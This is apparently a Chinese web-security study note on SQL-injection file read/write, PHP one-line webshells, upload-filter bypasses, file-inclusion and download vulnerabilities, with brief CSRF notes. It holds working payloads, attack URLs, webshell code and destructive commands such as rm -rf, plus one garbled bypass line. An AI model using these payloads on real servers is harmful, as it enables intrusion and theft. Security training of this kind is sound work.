文章目錄
- 1、檔案加載與導入
-
- load_file ()讀取伺服器中的檔案
- into outfile()向伺服器導入本地檔案
- 2、一句話木馬(小馬)+大馬+webshell
-
- 2.1 一句話木馬
- 2.2 大馬
- 2.3 webshell軟體
- 2.4 附:常見指令
- 3、檔案上傳漏洞
- 4、檔案包含漏洞
- 5、檔案下載下傳漏洞
- 6、CSRF漏洞
- 7、總結:
此文章僅僅用于學習,請學習國家網絡安全法,嚴禁将文章内容應用于破壞網絡環境。
1、檔案加載與導入
資料庫中需要開啟權限,在my.ini檔案的mysqld中添加語句:
secure_file_priv=
表示可以導入導出到任何位置。在資料中檢視權限
SHOW GLOBAL VARIABLES LIKE '%secure%';
鍵
secure_file_priv
為空說明正确。
load_file ()讀取伺服器中的檔案
select hex(load_file(‘檔案路徑’)), hex是取出的字元串轉換成16進制,取出後再轉換成字元串。檔案路徑也需要轉換成16進制,前加 0x
,如果是windows的路徑需要用兩個右反斜杠。
# 加載檔案顯示
?id=1' and 1=2 union select 1,hex(load_file('/var/www/html/1.txt')),3 %23
into outfile()向伺服器導入本地檔案
select 1 into outfile ‘路徑’ ;
注入:
1' and 1=2 union select 2,databases(),2 into outfile 'C:/11.txt' %23
可以将一句話木馬傳入到伺服器中: 注意需要添加對應欄,木馬根據閉合方式用雙引号或者單引号,當閉合為單引号時,需要用雙引号。
?id=3' and 1=2 union select 1,"<?php @eval($_POST('cmd'));?>",1 into outfile '/var/11.txt' %23
檔案加載和導入,需要知道檔案的絕對路徑,使用報錯和phpinfo可以爆出路徑。如果加的是相對路徑,預設的是mysql的路徑,并不是項目頁面所在的路徑
2、一句話木馬(小馬)+大馬+webshell
2.1 一句話木馬
一句話木馬:<?php @eval($_POST['cmd']?>
1、指令執行函數system(“str”);exec(“str”);shell_exec(“str”); //把str當指令執行, 一般是linux或windows的指令。
2、代碼執行函數eval(“str”); //把str當php代碼執行。
eval("echo '11';"); //代碼執行函數
system("whoami"); //指令執行函數
echo exec("whoami"); //指令執行函數 靜默執行需要用echo進行顯示
echo shell_exec("whoami");//指令執行函數 靜默執行要用echo進行顯示
eval("system('whoami');"); //混用參數進行注入
當伺服器中存在含有一句話木馬的php頁面時候,就可以通過一些函數搭配指令進行漏洞注入:
//注入
http://169.254.124.22/func.php?cmd=phpinfo();
http://169.254.124.22/func.php?cmd=system('ipconfig > C:/ipconfig1.txt);
http://169.254.124.22/func.php?cmd=system('ls -la /var/www/html');
//也可以同時傳入多個參數注入
http://169.254.124.22/func.php?cmd=phpinfo();system("whoami");
還可以使用如下php自帶函數進行注入-找出檔案與檢視檔案:
scandir(‘路徑’); //php自帶函數,通過數組的形式傳回路徑下的檔案和檔案夾,是靜默函數,需要用print_r 輸出數組。
readfile(‘檔案名’) ; //php自帶函數,讀取檔案的内容。
注入:
// 讀取C槽下的所有檔案
http://169.254.124.22/func.php?cmd=print_r(scandir('C:/'));
//找到檔案後讀取
http://169.254.124.22/func.php?cmd=readfile('C:/ipconfig.txt');
2.2 大馬
大馬也是需要伺服器中存在的,多數情況下需要自己上傳,小馬與大馬是指上傳的頁面,小馬功能簡單,體積小,而大馬功能複雜,體積大,通常頁面為了防病毒,會限制過大檔案上傳,可以先上傳小馬,再利用小馬上傳大馬。
大馬是robots.php頁面
在用戶端需要通路上傳的大馬頁面,登入使用者修改,預設admin 。取消第一行注釋,将自定義使用者名寫入admin位置,然後登入,将頁面顯示的加密内容替換pass的内容,再講第一行注釋掉即可。
//echo encode_pass('admin');exit;
//angel = ec38fe2a8497e0a8d6d349b3533038cb
// 如果需要密碼驗證,請修改登陸密碼,留白為不需要驗證
$pass = '4f8f87a25861183d6e212a684c2bfcb1';
2.3 webshell軟體
軟體是圖形使用者界面,如蟻劍,冰蠍,哥斯拉,當上傳一句話木馬後,在蟻劍中添加需要通路的小馬頁面位址和碼就可以用圖形使用者界面的形式檢視伺服器的内容,達到和大馬一樣的浏覽效果
特别注意,一句話木馬采用POST才能用軟體連接配接webshell
2.4 附:常見指令
權限檢視:
whoami
網絡程序:
ifconfig / ip addr / ipconfig
檢視程序的pid:
netstat -ano
檢視所有程式名稱和pid:
tasklist /svc
ps -aux
、
kill -9 pid
、
pwd(linux)
、
dir(windows) =ls(linux)
建立 echo 'xxx' > C:/1.txt
檢視 (windows)type c:\11.txt || cat
複制 (windows)copy old.txt new.txt || cp
移動 (windows)mov old.txt new.txt || mv
删除 (windows)del c:\11.txt || rm -rf *
搜尋 (windows)搜尋 dir /s c:\ipconfig.* //搜尋路徑下的比對檔案
(linux) find / -name ipcnfig.*
3、檔案上傳漏洞
檔案上傳漏洞是指通過上傳頁面我們可以上傳自己編寫腳本,我們希望能夠上傳自己的一句話木馬。但通常頁面會通過黑名單或者白名單的方式在字尾名校驗或者大小等方面限制我們的上傳,通過brup攔截上傳請求,修改字尾或MIME類型或者其他方法能夠繞過這些驗證。
常見檔案的MIME類型:
jpg-----image/jpeg
,
png----PNG
,
php---application/octet-stream
黑名單是不允許
.php
,
.jsp
字尾上傳,白名單是隻允許上傳
.jpg
,
.png
字尾上傳
首先是在用戶端js驗證,用brup改一下字尾即可。
黑名單:用随便一個亂七八糟的尾綴試一下,如果能上傳,則是黑名單
- 重寫字尾
或者.pphphp
,看從左向右删除還是從右向左删除 ,隻有Linux能用phphpp
- 特殊尾綴
.php3,.php4,php5
- 大小寫
,隻有windows能用.phP
- 點繞過
.php.
- 空格繞過
.php
- :: D A T A 繞 過 ‘ . p h p : : DATA繞過`.php:: DATA繞過‘.php::DATA` ,隻有windows能用
- 雙字尾名繞過
- 上傳.htaccess繞過 ,針對linux。 注意這個檔案不要檔案名,直接就是
,上傳這個檔案後,再上傳一張帶有一句話木馬的圖檔,是可以直接通路圖檔的php代碼的。.htaccess
AddType application/x-httpd-php .jpg
白名單:
- path=%00截斷 php版本<5.3.4, 路徑可控
- filename= 1.php%00.jpg
上述兩種方法在post都需要把%00右鍵
convert selection->URL->URL-decode
進行轉碼,get請求不需要。
- 檔案包含的方式和php.cgi:
我們希望能夠直接上傳一張包含一句話木馬的符合白名單條件的.jpg。但是上傳後如何通路這張圖檔調用裡面的木馬程式是個問題?可以将一句話木馬寫入到aa.jpg中生成shell.jpg,通過
copy aa.jpg /b + test.php /a webshell.jpg
,然後通路該圖檔就能調用一句話木馬,(
<?php include "./webshell.jpg";?>
),通路shell.php會通路webshell.jpg的内容。當然如果系統存
-
php.cgi
特别注意: 上傳的帶有木馬的jpg通路不了,可以加一個 /任何名字.php ,即http://r6.re:8013/uploads/asdfdfsg.jpg/33.php ,即可通路圖檔裡面的一句話木馬,然後在利用一句話木馬
4、檔案包含漏洞
包含是指php中包含有另一個頁面,通路該頁面可以間接通路所包含的頁面
檔案包含漏洞是指我們希望能夠通路到頁面的源代碼和并且實作一句話木馬的功能
case1.靜态包含
#靜态包含test01.php
include "../index.php";
# 注入,執行../index.php中的内容
http://127.0.0.1/include/test01.php
case2.動态包含
#動态包含test02.php
$path=@$_GET['path'];
include $path;
#注入,執行../index.php中的内容
http://127.0.0.1/include/test02.php?path=../index.php
case3.動态包含+強制尾綴
#動态包含test03.php
$path=@$_GET['path'];
include $path.".html";
# 注入,執行../index.php中的内容,将後面的html截斷
http://127.0.0.1/include/test03.php?path=../index.php%00
case4.動态包含+擷取包含頁面的源代碼
#動态包含test02.php
$path=@$_GET['path'];
include $path;
# 注入,擷取../index.php頁面的源代碼
http://127.0.0.1/include/test02.php?path=php://filter/read=convert.base64-encode/resource=../index.php
case5.動态包含+base64轉換
#動态包含test05.php
$path=base64_decode(@$_GET['path']);
include $path;
# 注入,執行../index.php中的内容,源碼中解碼64,注入中加碼64
http://127.0.0.1/include/test05.php?path=Li4vaW5kZXgucGhw
case6.動态包含+執行所有指令
一句話木馬必須是GET方式
伺服器php.ini中修改allow_url_include為On
http://php.net/allow-url-include
allow_url_include=On
#動态包含test06.php
$path = @$_GET['path'];
include $path;
# 注入,執行test06
http://127.0.0.1/include/test06.php?path=php://input
Post data傳入 <?php system('ipconfig');?> //此處可以寫一些指令或者函數等
Notice:
disable_ function 顯示禁用的函數,在配置檔案 php.ini中設定禁用,禁用多個函數用逗号間隔。
5、檔案下載下傳漏洞
<?php
header("Content-type: text/html;charset=utf-8");
$filename = $_GET['filename'];
//修改這一行設定你需要下載下傳的檔案的存放目錄
$download_path = "./download/";
// 不能下載下傳上一層目錄的檔案
// if(eregi("\.\.", $filename)) die("抱歉,你不能下載下傳該檔案!");
// $file = str_replace("..", "", $filename);
// 包含 .ht 的檔案不能下載下傳
// if(eregi("\.ht.+", $filename)) die("抱歉,你不能下載下傳該檔案!");
// 建立檔案下載下傳路徑
$file = $download_path.$filename;
//判斷檔案是否存在
if(!file_exists($file)) die("抱歉,檔案不存在!");
// 檔案類型,作為頭部發送給浏覽器
$type = filetype($file);
// 擷取時間和日期
$today = date("F j, Y, g:i a");
$time = time();
// 發送檔案頭部
header("Content-type: $type");
//filename是指下載下傳的檔案名
header("Content-Disposition: attachment;filename=$filename");
header("Content-Transfer-Encoding: binary");
header('Pragma: no-cache');
header('Expires: 0');
// 發送檔案内容
set_time_limit(0);
readfile($file);
?>
127.0.0.1/down/down.php?filename=file.txt
一般會把檔案名字存在資料庫中
$dbhost = '127.0.0.1'; // mysql伺服器主機位址
$dbuser = 'root'; // mysql使用者名
$dbpass = 'root'; // mysql使用者名密碼
$conn = mysqli_connect($dbhost, $dbuser, $dbpass);
$id = @$_GET['id'];
$sql = "select * from tb_file where id = '$id'";
if(! $conn )
{
die('連接配接失敗: ' . mysqli_error($conn));
}
mysqli_select_db( $conn, 'db_filedown' ); //選擇資料庫
$retval = mysqli_query( $conn, $sql ); //代入sql查詢
$rs = mysqli_fetch_array($retval,MYSQLI_ASSOC);
if($rs['path']){
$filename = $rs['path'];
$file = './download/'.$rs['path'];
if(!file_exists($file)) die("not found!");
$type = filetype($file);
// 擷取時間和日期
$today = date("F j, Y, g:i a");
$time = time();
// 發送檔案頭部
header("Content-type: $type");
header("Content-Disposition: attachment;filename=$filename");
header("Content-Transfer-Encoding: binary");
header('Pragma: no-cache');
header('Expires: 0');
// 發送檔案内容
set_time_limit(0);
readfile($file);
}else{
echo "not found!";
}
127.0.0.1/down/downmysql.php?id=1
6、CSRF漏洞
跨站點請求僞造
簡單的說token是由服務端生成的一串字元串,作為用戶端向服務端請求的一個辨別。在前端使用使用者名/密碼向服務端發送請求認證,服務端認證成功,那麼在服務端會傳回token給前端,前端在每次請求時會帶上服務端發來的token來證明自己的合法性。
7、總結:
我們的最終目的是為了擷取伺服器的所有檔案資訊,其中關鍵在于伺服器中存在一個已隻路徑+含有一句話木馬或者含有包含代碼+已知碼的可通路可執行其中代碼的檔案,如果伺服器中沒有這種檔案,通常需要我們上傳到伺服器中,是以如何上傳變成了關鍵,在這之前,需要先明白檔案中的可執行代碼可以是哪一種:
- 一句話木馬 <?php @eval($_POST['cmd']);?>
- 包含代碼 <?php include $_GET[‘path’];?>
- 大馬檔案
這兒我們假設路徑全為/var/www/html
D:\Workstation\phpStudy\phpstudy_pro\WWW
- 如果存在sql注入,可以用into outfile上傳一句話木馬到我們規定的檔案中,然後采用蟻劍來擷取資訊。
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,"<?php @eval($_POST['cmd']);?>",1 into outfile 'D:\\Workstation\\phpStudy\\phpstudy_pro\\WWW\\webshell01.php' %23
也可以上傳檔案包含的方式擷取頁面源代碼或者其他頁面資訊或者一句話木馬能得到的資訊。然後可以檢視包含的網頁,源代碼和進行一些資訊查詢。
http://127.0.0.1/webshell02.php?path=php://filter/read=convert.base64-encode/resource=./index.php
http://127.0.0.1/webshell02.php?path=php://input post參數為<?php system('dir');?>
- 如果是檔案上傳的頁面:
- 黑名單:可以嘗試上傳大馬,也可以通過繞過的方式上傳.php檔案,php檔案代碼是一句話木馬或者檔案包含代碼,擷取資訊和上述一樣。還有一個問題是我們需要知道上傳檔案的路徑。
- 白名單: 在%00截斷無效的情況下,隻能根據白名單允許的字尾上傳,如.jpg。我們需要在圖檔中動手腳,可以通過php.cji和結合檔案包含兩種方式:
- php.cji: 上傳含有一句話木馬或者檔案包含代碼的.jpg圖檔
- 結合檔案包含的方式:這種方式的前提是伺服器中有一個shell.php頁面(<?php include './shell.jpg';?>),通過指令制作出含有一句話木馬或包含代碼的.jpg圖檔(copy aa.jpg /b + test.php /a webshell.jpg),然後通路shell.php即可。
- 如果是檔案下載下傳的頁面:
檔案下載下傳漏洞需要下載下傳一些檔案,首要下載下傳首頁,首頁是指通路的首頁
- 在上述所有操作時可能用到一些列的檢視目錄或讀取檔案的操作:
- 列出檔案:system(‘ls ./’); echo exec(“ls ./”); echo shell_exec(“ls ./”); print_r(scandir (‘ls ./’));
- 讀取檔案:
- 如果存在sql注入:
- system('cat ./test.php'); print_r(readfile ('ls ./'));
如果存在sql注入,可以用loadfile檢視一些檔案